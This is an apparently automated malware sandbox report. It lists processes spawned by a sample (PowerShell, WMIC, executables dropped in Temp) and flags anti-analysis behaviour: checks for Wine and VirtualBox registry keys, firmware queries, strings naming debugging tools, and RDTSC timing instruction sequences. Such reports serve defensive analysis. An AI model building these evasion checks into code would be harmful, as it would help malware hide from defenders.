Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CCA2 second address: 73CCBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 je 00007F38EC75ED16h 0x0000000c jnp 00007F38EC75ED16h 0x00000012 pop edx 0x00000013 pop edi 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CCBA second address: 73CCC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CCC6 second address: 73CCD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F38EC75ED16h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722FB3 second address: 722FF3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnp 00007F38ECB57B96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F38ECB57B9Ch 0x00000012 pop edi 0x00000013 pop esi 0x00000014 pushad 0x00000015 push esi 0x00000016 js 00007F38ECB57B96h 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F38ECB57BA4h 0x00000024 jbe 00007F38ECB57B96h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722FF3 second address: 722FF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722FF7 second address: 722FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722FFD second address: 723009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723009 second address: 72300F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BD5B second address: 73BD79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F38EC75ED16h 0x0000000a pop eax 0x0000000b jp 00007F38EC75ED23h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BD79 second address: 73BD83 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F38ECB57BA2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BF0E second address: 73BF3A instructions: 0x00000000 rdtsc 0x00000002 je 00007F38EC75ED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F38EC75ED22h 0x0000000f jmp 00007F38EC75ED1Ah 0x00000014 popad 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BF3A second address: 73BF3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C09A second address: 73C0AE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F38EC75ED16h 0x00000008 jmp 00007F38EC75ED1Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C210 second address: 73C215 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C215 second address: 73C22A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F38EC75ED16h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F38EC75ED16h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C22A second address: 73C230 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F222 second address: 73F226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F226 second address: 73F22A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F22A second address: 73F230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F230 second address: 73F24D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F38ECB57BA8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F2DA second address: 73F2DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
